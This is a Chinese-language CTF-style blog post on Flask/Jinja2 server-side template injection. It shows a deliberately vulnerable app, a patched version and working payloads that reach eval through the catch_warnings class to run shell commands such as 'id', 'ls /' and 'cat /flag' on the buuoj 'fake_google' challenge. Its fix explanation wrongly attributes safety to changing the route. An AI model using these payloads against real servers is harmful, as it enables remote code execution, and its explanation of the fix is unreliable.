浅谈Flask模板注入攻击

2020-11-04 11:02:55 浏览数 (1)

前言

​ 由于最近一直在学二进制,所以web方面时间就不是很充足了,在buuoj上做了几道web,其中有一道flask(jinja2)的SSTI,之前也接触过,所以今天就来复现下flask ssti,这里推荐一个学习环境

vulhub

基础知识

Flask

​ Flask 是一个使用 Python 编写的轻量级 Web 应用框架。模板引擎使用 Jinja2 。Werkzeug 一个 WSGI 工具包。

​ 个人感觉,flask学习起来还是挺容易的,安装flask

  • pip install flask

下面写一个简单的flask代码

代码语言:javascript复制
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():    
    return "Hello ly0n!"
 
if __name__ == "__main__":
    app.run()

​ 简单说一下上面的代码,前两行就是导入flask 包然后进行初始化。紧接着下面三行是使用Flask提供的@app.route 修饰器,把修饰的函数注释为路由。然后运行即可。

jinja2

代码语言:javascript复制
jinja2 是Flask 框架的一部分,Jinja2 利用模板参数提供的相应的值替换了 {{…}} 块

Jinja2 模板同样支持控制语句,像在 {%…%} 块
代码语言:javascript复制
{# This is jinja code
   # 控制结构
    {% for file in filenames %}
        # 取值
        {{ file }}
    {% endfor %}
#}

测试输出

代码语言:javascript复制

from jinja2 import Template

t=Template('{% for i in range(19) %}{{ i }}{% endfor %}')
print(t.render())

漏洞原理

漏洞成因

查看源码

代码语言:javascript复制
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello "   name)
    return t.render()

if __name__ == "__main__":
    app.run()

t = Template("Hello " name) 这行代码使得Template完全可控,我们传入jinja2的控制语句就可以得到执行。我们可以传入demo里的控制语句0123456789101112131415161718

漏洞预防

我们可以修改flask的修饰器@app.route("/ly0n")

代码语言:javascript复制

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/ly0n")
def safe():
    name = request.args.get('name', 'guest')

    t = Template("Hello {{n}}")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

原理是将其路由到/ly0n页面进行访问测试,原本存在的代码注入漏洞就不存在了.

漏洞利用

​ 利用eval函数执行任意代码构造POC

代码语言:javascript复制
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

buuoj fake_goole

​ 打开题目看到一个搜索框

随便输入下看到提示为ssti

是基于jinja2的SSTI

构造payload

代码语言:javascript复制
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{% endif %}
{% endfor %}

代码语言:javascript复制
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
{% endif %}
{% endfor %}

原理分析见另一篇文章

  • python沙盒逃逸

0 人点赞